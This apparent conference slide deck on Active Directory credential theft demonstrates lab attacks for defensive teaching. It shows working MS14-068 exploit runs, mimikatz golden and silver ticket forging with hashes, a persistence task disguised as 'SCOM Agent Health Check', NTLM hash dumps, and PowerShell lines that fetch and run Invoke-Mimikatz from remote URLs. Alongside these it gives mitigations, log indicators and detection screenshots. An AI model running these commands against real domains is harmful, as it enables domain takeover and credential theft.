Blue Team Response: Credential Theft

Detection: *Difficult*

Mitigation:

- Protect DC backups & storage
- Protect admin credentials
- Admins only logon to specific systems
- Limit Service Account rights/permissions
- Set all admin accounts to “sensitive & cannot be delegated”
- Separate Admin workstations for administrators (locked-down & no internet).

MS14-068: (Microsoft) Kerberos Vulnerability

- ✦ MS14-068 (CVE-2014-6324) Patch released 11/18/2014
- ✦ Domain Controller Kerberos Service (KDC) didn't correctly validate the PAC checksum.
- ✦ Effectively re-write user ticket to be a Domain Admin.
- ✦ **Own AD in 5 minutes**



Gavin Millard @gmillard · 11h

MS14-068 in the real world.

"Welcome Captain. Would you like a coffee before you take off"

#infosec



<http://adsecurity.org/?tag=ms14068>

MS14-068 (PyKEK 12/5/2014)

```
c:\Temp\pykek>ms14-068.py -u bobafett@lab.adsecurity.org -p Password99! -s S-1-5-21-1473643419-774954089-22223
29127-1617 -d adsd02.lab.adsecurity.org
[+] Building AS-REQ for adsd02.lab.adsecurity.org... Done!
[+] Sending AS-REQ to adsd02.lab.adsecurity.org... Done!
[+] Receiving AS-REP from adsd02.lab.adsecurity.org... Done!
[+] Parsing AS-REP from adsd02.lab.adsecurity.org... Done!
[+] Building TGS-REQ for adsd02.lab.adsecurity.org... Done!
[+] Sending TGS-REQ to adsd02.lab.adsecurity.org... Done!
[+] Receiving TGS-REP from adsd02.lab.adsecurity.org... Done!
[+] Parsing TGS-REP from adsd02.lab.adsecurity.org... Done!
[+] Creating ccache file 'TGT_bobafett@lab.adsecurity.org.ccache'... Done!

mimikatz(commandline) # kerberos::ptc c:\temp\pykek\TGT_bobafett@lab.adsecurity.org.ccache
Principal : <01> : bobafett ; @ LAB.ADSECURITY.ORG
Data 0
      Start/End/MaxRenew: 2/8/2015 7:54:18 PM ; 2/9/2015 5:54:18 AM ; 2/15/2015 7:54:18 PM
      Service Name (01) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
      Target Name (01) : krbtgt ; LAB.ADSECURITY.ORG ; @ LAB.ADSECURITY.ORG
      Client Name (01) : bobafett ; @ LAB.ADSECURITY.ORG
      Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
      Session Key : 0x00000017 - rc4_hmac_nt
                   04f2a374032b0477c6195fdac06721c5
      Ticket : 0x00000000 - null ; kuno = 2 [...]
      * Injecting ticket : OK

mimikatz(commandline) # exit
Bye!

c:\Temp\pykek>net use \\adsd02.lab.adsecurity.org\admin$
The command completed successfully.
```

MS14-068 Kekeo Exploit

```
PS C:\temp\kekeo> .\ms14068.exe /domain:lab.adsecurity.org /user:JoeUser /password>Password99! /ptt

.#####.  MS14-068 POC 1.1 (x86) release "Kiwi en C" (Apr 19 2015 00:51:32)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY 'gentilkiwi' ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com (oe.eo)
'#####' ... with thanks to Tom Maddock & Sylvain Monne * * */

[KDC] 'ADSDC01.lab.adsecurity.org' will be the main server
[AUTH] Impersonation
[KDC] 3 server(s) in list
[SID/RID] 'JoeUser @ lab.adsecurity.org' must be translated to SID/RID

user      : JoeUser
domain    : lab.adsecurity.org
password   : ***
sid       : S-1-5-21-1583770191-140008446-3268284411
rid       : 1111
key       : 7c08d63a2f48f045971bc2236ed3f3ac (rc4_hmac_nt)
ticket    : ** Pass The Ticket **
[level 1] Reality      (AS-REQ)
[level 2] Van Chase    (PAC TIME)
* PAC generated
* PAC ""signed""
[level 3] The Hotel    (TGS-REQ)
[level 4] Snow Fortress (TGS-REQ)
* ADSDC01 : KDC_ERR_SUMTYPE_NOSUPP (15)
* ADSDC02 : [level 5] Limbo ? (KRB-CRED) : * Ticket successfully submitted for current session
Auto inject BREAKS on first Pass-the-ticket
PS C:\temp\kekeo> net use \\adsdc02.lab.adsecurity.org\admin$
The command completed successfully.
```


User to Admin in 5 Minutes?



Blue Team Response: MS14-068

Detection:

- IDS Signature for Kerberos AS-REQ & TGS-REQ both containing “Include PAC: False”


Mitigation:

- Patch servers with KB3011780 before running DCPromo – patch the server build.
- Check patch status before running DCPromo

```
PS C:\> Get-Hotfix KB3011780
```

<u>Source</u>	<u>Description</u>	<u>HotFixID</u>	<u>InstalledBy</u>	<u>InstalledOn</u>
ADSDC01	Security Update	KB3011780	ADSECLAB\ADSAdmin...	6/29/2015 12:00:00 AM

Golden Ticket (Forged TGT) Communication



Golden Ticket Limitation

- ✦ Admin rights limited to current domain.
- ✦ Doesn't work across domains in Forest unless in EA domain.

```
mimikatz(commandline) # kerberos::golden /admin:Administrator /domain:resource.lab.adsecurity.org /sid:S-1-5-21-2242142109-4128614026-4135338336 /krbtgt:488b468d8bc43615a1425c6a735e85bb /startoffset:0 /endin:600 /renewmax:10080 /ptt
User       : Administrator
Domain     : resource.lab.adsecurity.org
SID        : S-1-5-21-2242142109-4128614026-4135338336
User Id    : 500
Groups Id  : *513 512 520 518 519
ServiceKey: 488b468d8bc43615a1425c6a735e85bb - rc4_hmac_nt
Lifetime   : 7/3/2015 10:52:28 PM ; 7/4/2015 8:52:28 AM ; 7/10/2015 10:52:28 PM
-> Ticket  : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'Administrator @ resource.lab.adsecurity.org' successfully submitted for current session

mimikatz(commandline) # exit
Dye!
PS C:\temp\mimikatz> net use \\ads2dc12.resource.lab.adsecurity.org\admin$
The command completed successfully.

PS C:\temp\mimikatz> net use \\adsdc03.lab.adsecurity.org\admin$
The password is invalid for \\adsdc03.lab.adsecurity.org\admin$.
```

Golden Ticket – More Golden!

✦ Mimikatz now supports SID History in Golden Tickets

```
mimikatz(commandline) # kerberos::golden /admin:Administrator /domain:resource.lab.adsecurity.org /sid:S-1-5-21-2242142109-4128614026-4135338336 /sids:S-1-5-21-1583770191-140008446-3268284411-519 /krbtgt:488b468d8bc43615a1425c6a735e85bb /s
tartoffset:0 /endin:600 /renewmax:10080 /ptt
User      : Administrator
Domain    : resource.lab.adsecurity.org
SID       : S-1-5-21-2242142109-4128614026-4135338336
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-1583770191-140008446-3268284411-519
ServiceKey: 488b468d8bc43615a1425c6a735e85bb - rc4_hmac_nt
Lifetime  : 7/3/2015 11:54:59 PM ; 7/4/2015 9:54:59 AM ; 7/10/2015 11:54:59 PM
-> Ticket : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated


Golden ticket for 'Administrator @ resource.lab.adsecurity.org' successfully submitted for current session

mimikatz(commandline) # exit
PS C:\temp\mimikatz> net use \\ads2dc12.resource.lab.adsecurity.org\admin$
The command completed successfully.

PS C:\temp\mimikatz> net use \\adsdc02.lab.adsecurity.org\admin$
The command completed successfully.

PS C:\temp\mimikatz> net use \\adsdc03.lab.adsecurity.org\admin$
The command completed successfully.
```


Silver Ticket (Forged TGS) Communication



Silver Ticket: Domain Controller Exploitation

- Attacker dumped AD & has all domain creds.
- Corp IT changed all user, admin, and service account passwords (and KRBTGT pw 2x).
- Attacker still has Domain Controller computer account password hashes.

What is possible with these?



Silver Ticket: Domain Controller Exploitation

```
mimikatz(commandline) # kerberos::golden /admin:LukeSkywalker /domain:LAB.ADSECURITY.ORG /id:2601 /sid:S-1-5-21-1387203482-2957264255-828990924 /target:adsrc02.lab.adsecurity.org /rc4:eaac459f6664fe083b734a1898c9704e /service:cifs
User       : LukeSkywalker
Domain     : LAB.ADSECURITY.ORG
SID        : S-1-5-21-1387203482-2957264255-828990924
User Id    : 2601
Groups Id  : *513 512 520 518 519
ServiceKey : eaac459f6664fe083b734a1898c9704e - rc4_hmac_nt
Service    : cifs
Target     : adsrc02.lab.adsecurity.org
Lifetime   : 3/15/2015 12:13:36 AM ; 3/12/2025 12:13:36 AM ; 3/12/2025 12:13:36 AM
-> Ticket  : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'LukeSkywalker @ LAB.ADSECURITY.ORG' successfully submitted for current session

mimikatz(commandline) # exit
Bye!
```

Silver Ticket: Domain Controller Exploitation

```
PS C:\temp\mimikatz> copy c:\temp\Invoke-Mimikatz.ps1 \\adsrc02.lab.adsecurity.org\c$\windows\temp
PS C:\temp\mimikatz> dir \\adsrc02.lab.adsecurity.org\c$\windows\temp
```

Directory: \\adsrc02.lab.adsecurity.org\c\$\windows\temp

Mode	LastWriteTime		Length	Name
d----	3/15/2015	12:15 AM	1	
-a---	2/16/2015	2:27 AM	0	DMI2083.tmp
-a---	2/16/2015	2:27 AM	0	DMI21EA.tmp
-a---	2/16/2015	2:27 AM	0	DMI25E2.tmp
-a---	2/16/2015	2:27 AM	0	DMI433E.tmp
-a---	2/17/2015	12:48 AM	0	DMI8230.tmp
-a---	2/17/2015	12:09 AM	0	DMI94FC.tmp
-a---	2/17/2015	12:48 AM	0	DMI A7D8.tmp
-a---	2/17/2015	12:48 AM	0	DMI A836.tmp
-a---	2/17/2015	12:48 AM	0	DMI AEDD.tmp
-a---	2/17/2015	12:09 AM	0	DMIB611.tmp
-a---	2/17/2015	12:09 AM	0	DMIB6DC.tmp
-a---	2/17/2015	12:09 AM	0	DMIC488.tmp
-a---	2/17/2015	12:48 AM	0	DMIC4C7.tmp
-a---	2/17/2015	12:09 AM	0	DMIC563.tmp
-a---	2/16/2015	2:27 AM	0	DMIF01C.tmp
-a---	2/18/2015	8:54 PM	676916	Invoke-Mimikatz.ps1

Silver Ticket: Domain Controller Exploitation

```
mimikatz(commandline) # kerberos::golden /admin:LukeSkywalker /domain:LAB.ADSECURITY.ORG /id:2601 /sid:S-1-5-21-1387203482-2957264255-828990924 /target:adsdc02.lab.adsecurity.org /rc4:eaac459f6664fe083b734a1898c9704e /service:HOST /ptt
User       : LukeSkywalker
Domain     : LAB.ADSECURITY.ORG
SID        : S-1-5-21-1387203482-2957264255-828990924
User Id    : 2601
Groups Id  : *513 512 520 518 519
ServiceKey : eaac459f6664fe083b734a1898c9704e - rc4_hmac_nt
Service    : HOST
Target     : adsdc02.lab.adsecurity.org
Lifetime   : 3/15/2015 12:19:42 AM ; 3/12/2025 12:19:42 AM ; 3/12/2025 12:19:42 AM
-> Ticket  : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'LukeSkywalker @ LAB.ADSECURITY.ORG' successfully submitted for current session

mimikatz(commandline) # exit
Bye!
PS C:\temp\mimikatz>
```

Silver Ticket: Domain Controller Exploitation

```
Cached Tickets: <1>
```

```
#0> Client: LukeSkywalker @ LAB.ADSECURITY.ORG
Server: HOST/adsc02.lab.adsecurity.org @ LAB.ADSECURITY.ORG
KerberosTicket Encryption Type: RSADSI RC4-HMAC<NT>
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 3/15/2015 0:19:42 <local>
End Time: 3/12/2025 0:19:42 <local>
Renew Time: 3/12/2025 0:19:42 <local>
Session Key Type: RSADSI RC4-HMAC<NT>
```

```
PS C:\temp\mimikatz> schtasks /create /S adsc02.lab.adsecurity.org /SC WEEKLY /RU "NT Authority\System" /TN "SCOM Agent Health Check" /TR "c:\windows\temp\Invoke-Mimikatz.ps1"
```

```
SUCCESS: The scheduled task "SCOM Agent Health Check" has successfully been created.
```

```
PS C:\temp\mimikatz> schtasks /create /S adsc02.lab.adsecurity.org /SC WEEKLY /RU "NT Authority\System" /TN "SCOM Agent Health Check" /TR "c:\windows\temp\Invoke-Mimikatz.ps1"
```



```
WARNING: The task name "SCOM Agent Health Check" already exists. Do you want to replace it (Y/N)? y
```

```
SUCCESS: The scheduled task "SCOM Agent Health Check" has successfully been created.
```

```
PS C:\temp\mimikatz> schtasks /query /S adsc02.lab.adsecurity.org
```


Folder: \		
TaskName	Next Run Time	Status
=====	=====	=====
SCOM Agent Health Check	3/22/2015 12:21:00 AM	Ready

Silver Ticket: Domain Controller Exploitation

 invoke-mimikatz	1/4/2015 10:40 PM	PS1 File	619 KB
 mmkdom	1/4/2015 10:43 PM	Text Document	5 KB

```
mmkdom - Notepad
File Edit Format View Help
| .#####.  mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 20 2014
08:56:48) .## ^ ##.  ## / \ ##  /* * * ## \ / ##  Benjamin DELPY
`gentilkiwi` ( benjamin@gentilkiwi.com ) `## v ##'
http://blog.gentilkiwi.com/mimikatz              (oe.eo) `#####'
              with 14 modules * * */mimikatz(powershell) #
privilege::debugPrivilege '20' OKmimikatz(powershell) # lsadump::samrpc
/patchDomain : ADSECLAB / S-1-5-21-1473643419-774954089-2222329127RID :
000001f4 (500)User : AdministratorLM : NTLM :
6f40d9c1cab7f73d298dc3d94163543dRID : 000001f5 (501)User : GuestLM :
NTLM : RID : 000001f6 (502)User : krbtgtLM : NTLM :
7e2a0e20851d0229f2489210b6576ederID : 000003e8 (1000)User : adminLM :
NTLM : 7c08d63a2f48f045971bc2236ed3f3acRID : 00000452 (1106)User :
LukeskywalkerLM : NTLM : 177af8ab46321ceef22b4e8376f2dba7RID : 00000453
(1107)User : HanSoloLM : NTLM : 269c0c63a623b2e062dfd861c9b82818RID :
00000454 (1108)User : JoeUserLM : NTLM : 7c08d63a2f48f045971bc2236ed3f3ac
RID : 00000456 (1110)User : DarthSidiousLM : NTLM :
615a280cee38c107a2c7ce2ef468a5b4RID : 00000646 (1606)User : svc-
SQLAgent01LM : NTLM : 88e16074a212c644289d9b4ca180a212RID : 00000647
(1607)User : svc-SQLDBEngine01LM : NTLM :
d0abfc0cb689f4cdc8959a1411499096RID : 00000648 (1608)User : svc-
```


Forging Kerberos Trust Tickets



Blue Team Response: Forged Kerberos Tickets

Detection: *Difficult*

Mitigation:

- Protect AD Admins

Active Directory Admins (ADAs)

Server Application Admins

Workstation Admins

Detecting Forged Kerberos: **Golden & Silver Tickets**

- Normal, valid account logon event data structure:
 - **Security ID:** DOMAIN\AccountID
 - **Account Name:** AccountID
 - **Account Domain:** DOMAIN
- **Golden & Silver Ticket** events may have one of these issues:
 - The Account Domain field is blank when it should contain DOMAIN.
 - The Account Domain field is DOMAIN FQDN when it should contain DOMAIN.
 - The Account Domain field contains “eo.oe.kiwi :)” or “<3 eo.oe - ANSSI E>” or similar...

Event IDs: 4624 (logon), 4672 (admin logon), 4634 (logoff)

Blue Team (Defense)



PowerShell Attack Detection

- Log all PowerShell activity
- Interesting Activity:
 - .Net Web Client download.
 - Invoke-Expression (and derivatives: “iex”).
 - “EncodedCommand” (“-enc”) & “Bypass”
 - BITS activity.
 - Scheduled Task creation/deletion.
 - PowerShell Remoting (WinRM).
- Track & Limit PowerShell Remoting (WinRM).
- Audit/Meter PowerShell usage.

PowerShell v5 Security Enhancements

- Script block logging
- System-wide transcripts
- Constrained PowerShell
- Antimalware Integration (Win 10)

PowerShell v5 Security: Script Block Logging

```
PS C:\Users\ADSAdmin> powershell -encodedcommand VwByAGkAdAB1AC0ATwB1AHQAcAB1AHQAIAAïAFIAdQBuAG4AaQBu...  
Running Invoke-Mimikatz...
```

Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General

Details

Creating Scriptblock text (1 of 1):
Write-Output "Running Invoke-Mimikatz..."

ScriptBlock ID: cbd51773-c40f-4f73-9b77-808a7624d1c7

Log Name:	Microsoft-Windows-PowerShell/Operational		
Source:	PowerShell (Microsoft-Wind	Logged:	6/25/2015 8:30:16 PM
Event ID:	4104	Task Category:	Execute a Remote Command
Level:	Verbose	Keywords:	None
User:	WIN-EOOTVR3NK6K\ADSAd	Computer:	WIN-EOOTVR3NK6K

PowerShell v5 Security: Constrained PowerShell

```
PS C:\Windows\system32> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS C:\Windows\system32>
PS C:\Windows\system32> IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCr ...

New-Object : Cannot create type. Only core types are supported in this language mode.
At line:1 char:6
+ IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); ...
+ ~~~~~
+ CategoryInfo          : PermissionDenied: (:) [New-Object], PSNotSupportedException
+ FullyQualifiedErrorId : CannotCreateTypeConstrainedLanguage,Microsoft.PowerShell.Commands.NewObjectCommand

Invoke-Mimikatz : The term 'Invoke-Mimikatz' is not recognized as the name of a cmdlet, function, script file, or
operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and
again.
At line:1 char:71
+ ... lient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCr ...
+ ~~~~~
+ CategoryInfo          : ObjectNotFound: (Invoke-Mimikatz:String) [], CommandNotFoundException
+ FullyQualifiedErrorId : CommandNotFoundException
```


Windows 10 PowerShell Security: Antimalware Integration

```
PS C:\Windows\system32> Iex (Invoke-WebRequest http://pastebin.com/raw.php?i=JHhnFV8m)
iex : At line:1 char:1
+ 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'
+ ~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At line:4 char:1
+ iex $string
+ ~~~~~
+ CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
```

```
At line:1 char:1
+ function Invoke-Mimikatz
+ ~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
```

Mitigation Level One (Low)

- Minimize the groups (& users) with DC admin/logon rights
- Separate user & admin accounts (JoeUser & AdminJoeUser)
- No user accounts in admin groups
- Set all admin accounts to “sensitive & cannot be delegated”
- Deploy Security Back-port patch (KB2871997)
- Set GPO to prevent local accounts from connecting over network to computers (KB2871997).
- Use long, complex (>25 characters) passwords for SAs.
- Delete (or secure) GPP policies and files with creds.
- Patch server image (and servers) before running DCPromo
- Implement RDP Restricted Admin mode

Mitigation Level Two (Moderate)

- **Microsoft LAPS** (or similar) to randomize computer local admin account passwords.
- **Service Accounts (SAs):**
 - Leverage “(Group) Managed Service Accounts”.
 - Implement Fine-Grained Password Policies (DFL >2008).
 - Limit SAs to systems of the same security level, not shared between workstations & servers (for example).
- Remove Windows 2003 from the network.
- **Separate Admin workstations** for administrators (locked-down & no internet).
- PowerShell logging

Mitigation Level Three (“It’s Complicated”)

- **Number of Domain Admins = 0**
- Complete separation of administration
- ADAs use SmartCard auth w/ rotating pw
- ADAs never logon to other security tiers.
- ADAs should only logon to a DC (or admin workstation or server).
- Time-based, temporary group membership.
- No Domain Admin service accounts running on non-DCs.
- Disable default local admin account & delete all other local accounts.
- Implement network segmentation.
- CMD Process logging & enhancement (KB3004375).


New Admin Model

Active Directory Admins (ADAs)

Server Application Admins

Workstation Admins

Credential Theft Protection (Future)



Attack Detection Paradigm Shift

Microsoft Advanced Threat Analytics (ATA, formerly Aorato)

- Monitors all network traffic to Domain Controllers
 - Baselines “normal activity” for each user (computers, resources, etc)
 - Alerts on suspicious activity by user
 - Natively detects recon & attack activity without writing rules
- ATA Detection Capability:
 - Credential theft & use: Pass the hash, Pass the ticket, Over-Pass the hash, etc
 - MS14-068 exploits
 - Golden Ticket usage
 - DNS Reconnaissance
 - Password brute forcing
 - Domain Controller Skeleton Key Malware

Microsoft Advanced Threat Analytics (ATA)

Microsoft Advanced Threat Analytics Preview

Search users, computers, servers, and more...

Microsoft

10:32 AM Friday July 3, 2015

9:15 AM Sunday July 5, 2015

All [7]

High [4]

Medium [3]

Low [0]

Open [7]

Resolved [0]

Dismissed [0]

Suspicion of Identity Theft based on Abnormal Behavior

Server Administrator exhibited abnormal behavior when performing activities that were not seen over the last month and are also not in accordance with the activities of other accounts in the organization. The abnormal behavior is based on the following activities:

- Performed interactive login from 8 abnormal workstations.
- Performed interactive login from FS.
- Requested access to 12 abnormal resources.

Note

Email

Export to Excel

Details

Open

Server Administrator

Comp18

9 Abnormal computers

Accessed

Comp18 to CIFS

12 Abnormal resources

Recommendations

- Disconnect the relevant computers from the network or move them into an isolated environment and start a forensics procedure by investigating: unknown processes, services, registry entries, unsigned files, and more
- Contact Server Administrator and investigate if the user has logged in to abnormal computers and accessed abnormal resources.

Encryption Downgrade Activity

14 days ago

Privilege Escalation using Forged PAC

14 days ago

Identity Theft Using Pass-the-Hash Attack

14 days ago

Entities Recently Learned

1 user

150 computers

15 days ago

Identity Theft Using Pass-the-Ticket Attack


16 days ago

8:26 AM > 8:51 AM

Encryption Downgrade Activity

ATA Detection: Suspicious Activity

Microsoft Advanced Threat Analytics Preview
Search users, computers, servers, and more...
Microsoft




Suspicion of Identity Theft based on Abnormal Behavior

Server Administrator exhibited abnormal behavior when performing activities that were not seen over the last month and are also not in accordance with the activities of other accounts in the organization. The abnormal behavior is based on the following activities:

- Performed interactive login from 8 abnormal workstations.
- Performed interactive login from FS.
- Requested access to 12 abnormal resources.

July 3, 2015 10:32 AM to July 5, 2015 9:15 AM

Summary
Details
Note
Email
Export to Excel
Open



Server Administr...

	From (10)	Accessed (13)	Via Domain Controllers (1)
9:41 AM Sunday June 14, 2015	Comp18	Comp18 to C15	DC01 192.168.222.22
10:12 AM Friday July 3, 2015	FS 192.168.222.15	LABADSECURITY.ORG to KRETGT	DC01 192.168.222.22
10:32 AM Friday July 3, 2015	FS 192.168.222.15	DC01 to C15	DC01 192.168.222.22
10:37 AM Friday July 3, 2015	FS 192.168.222.15	DC01 to VMS00110510HOM...	DC01 192.168.222.22
10:32 AM Friday July 3, 2015	FS 192.168.222.15	DC01 to LDAP	DC01 192.168.222.22
10:37 AM Friday	FS 192.168.222.15	FS to C15	DC01 192.168.222.22

Encryption Downgrade Activity
11 days ago

Privilege Escalation using Forged PAC
14 days ago

Identity Theft Using Pass-the-Hash Attack
14 days ago

Entities Recently Learned
1 user
100 computers
15 days ago

Identity Theft Using Pass-the-Ticket Attack
16 days ago

ATA Detection: Credential Theft Pass the Hash

8:30 AM

Thursday
July 2, 2015

Identity Theft Using Pass-the-Hash Attack

Administrator's hash was stolen from one of the computers previously logged into by Administrator and used from WIN7CLIENT-PC.



Note




Email



Export to Excel



Open



Recommendations

- Disconnect the relevant computers from the network or move them into an isolated environment and start a forensics procedure by investigating: unknown processes, services, registry entries, unsigned files, and more
- Disable Administrator's account
- Reset Administrator's password

ATA Detection: Credential Theft Pass the Ticket

4:52 AM > 4:57 AM

Wednesday
July 1, 2015

Identity Theft Using Pass-the-Ticket Attack

Administrator's Kerberos tickets were stolen from FS to CLIENT1 and used to access DC01 (CIFS).



Note



Email



Export to Excel



Details



Inputs



Open



Recommendations

- Disconnect the relevant computers from the network or move them into an isolated environment and start a forensics procedure by investigating: unknown processes, services, registry entries, unsigned files, and more
- Disable Administrator's account

ATA Detection: Credential Theft OverPass the Hash



Encryption Downgrade Activity

The encryption method of the Encrypted_Timestamp field of AS_REQ message from FS has been downgraded based on previously learned behavior. This may be a result of a credential theft using Overpass-The-Hash from FS.

Sunday, July 5, 2015 at 7:39 AM

Summary

Details

 Note  Email  Export to Excel  Open

Accounts (1)

7:39 AM
Sunday
July 5, 2015



Joe User



From (1)



FS
192.168.222.15



Accessed (1)



lab.adsecurity.org
to KRBTGT

Via Domain Controllers (1)



DC01
192.168.222.22



ATA Detection: MS14-068 Exploit



Privilege Escalation using Forged PAC

Server Administrator attempted to escalate privileges by using a forged PAC from WIN7CLIENT-PC and accessing krbtgt (KRBtgt) (1 successful).

Thursday, July 2, 2015 at 8:49 AM

Summary

Details

Note

Email

Export to Excel

Open



Server Administ...

From (1)

Accessed (1)

Response

Via Domain Controllers
(1)

8:49 AM
Thursday
July 2, 2015



WIN7CLIENT-PC
192.168.222.34



krbtgt
to KRBtgt



Success

Forged PAC Provided



DC01
192.168.222.22



ATA Detection: Golden Ticket



Encryption Downgrade Activity

The encryption method of the TGT field of TGS_REQ message from FS has been downgraded based on previously learned behavior. This may be a result of a Golden Ticket in-use on FS.

July 5, 2015 8:26 AM to 8:51 AM

Summary

Details



Note



Email



Export to Excel



Open

Accounts (2)

From (1)

Accessed (1)

Via Domain Controllers (1)

8:26 AM
Sunday
July 5, 2015



Michael



FS
192.168.222.15



DC01
to CIFS



DC01
192.168.222.22



8:51 AM
Sunday
July 5, 2015



Joe User



FS
192.168.222.15
























DC01
to CIFS



DC01
192.168.222.22



ATA Detection: Skeleton Key

<div>  <h3>Encryption Downgrade Activity</h3> <p>The encryption method of the ETYPE_INFO2 field of KRB_ERR message from 3 computers has been downgraded based on previously learned behavior. This may be a result of a Skeleton Key on DC01.</p> <p>July 2, 2015 9:32 AM to July 3, 2015 10:32 AM</p> </div>				
Summary		Details		<a>Note <a>Email <a>Export to Excel <a>Open
	Accounts (4)	From (3)	Accessed (2)	Via Domain Controllers (1)
9:32 AM Thursday July 2, 2015	 Server Administra...	 WIN7CLIENT-PC 192.168.222.34	 2 Resources	 DC01 192.168.222.22
12:45 PM Thursday July 2, 2015	 CLIENT1 192.168.222.51	 CLIENT1 192.168.222.51	 LAB.ADSECURITY.ORG to KRBTGT	 DC01 192.168.222.22
12:50 PM Thursday July 2, 2015	 FS 192.168.222.15	 FS 192.168.222.15	 LAB.ADSECURITY.ORG to KRBTGT	 DC01 192.168.222.22
5:04 PM Thursday July 2, 2015	 WIN7CLIENT-PC 192.168.222.34	 WIN7CLIENT-PC 192.168.222.34	 LAB.ADSECURITY.ORG to KRBTGT	 DC01 192.168.222.22
10:32 AM Friday July 3, 2015	 Server Administra...	 FS 192.168.222.15	 2 Resources	 DC01 192.168.222.22

Additional Mitigations

- **Monitor** scheduled tasks on sensitive systems (DCs, etc)
- **Block** internet access to DCs & servers.
- Monitor security event logs on all servers for known forged Kerberos & backup events.
- Include computer account password changes as part of domain-wide password change scenario (set to 1 day)
- **Change** the KRBTGT account password (twice) every year & when an AD admin leaves.
- Incorporate Threat Intelligence in your process and model defenses against real, current threats.

Summary

- Attackers will get code running on a target network.
- The extent of attacker access is based on defensive posture.
- Advanced attacks with forged tickets can be detected.
- Protect AD Admins or a full domain compromise is likely!

My research into Active Directory attack, defense, & detection is ongoing. This is only the beginning... 😊

Thanks!

- Alva “Skip” Duckwall (@passingthehash)
 - <http://passing-the-hash.blogspot.com>
- Benjamin Delpy (@gentilkiwi)
 - <http://blog.gentilkiwi.com/mimikatz>
- Casey Smith (@subtee)
- Chris Campbell (@obscuresec)
 - <http://obscuresecurity.blogspot.com>
- Joe Bialek (@clymb3r)
 - <https://clymb3r.wordpress.com>
- Matt Graeber (@mattifestation)
 - <http://www.exploit-monday.com>
- Rob Fuller (@mubix)
 - <http://www.room362.com>
- Will (@harmj0y)
 - <http://blog.harmj0y.net>
- The Microsoft ATA Product Team
(Tal, Michael, & Idan)
- Many others in the security community!
- My wife & family for putting up with me being on the computer every night! 😊

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Please submit an evaluation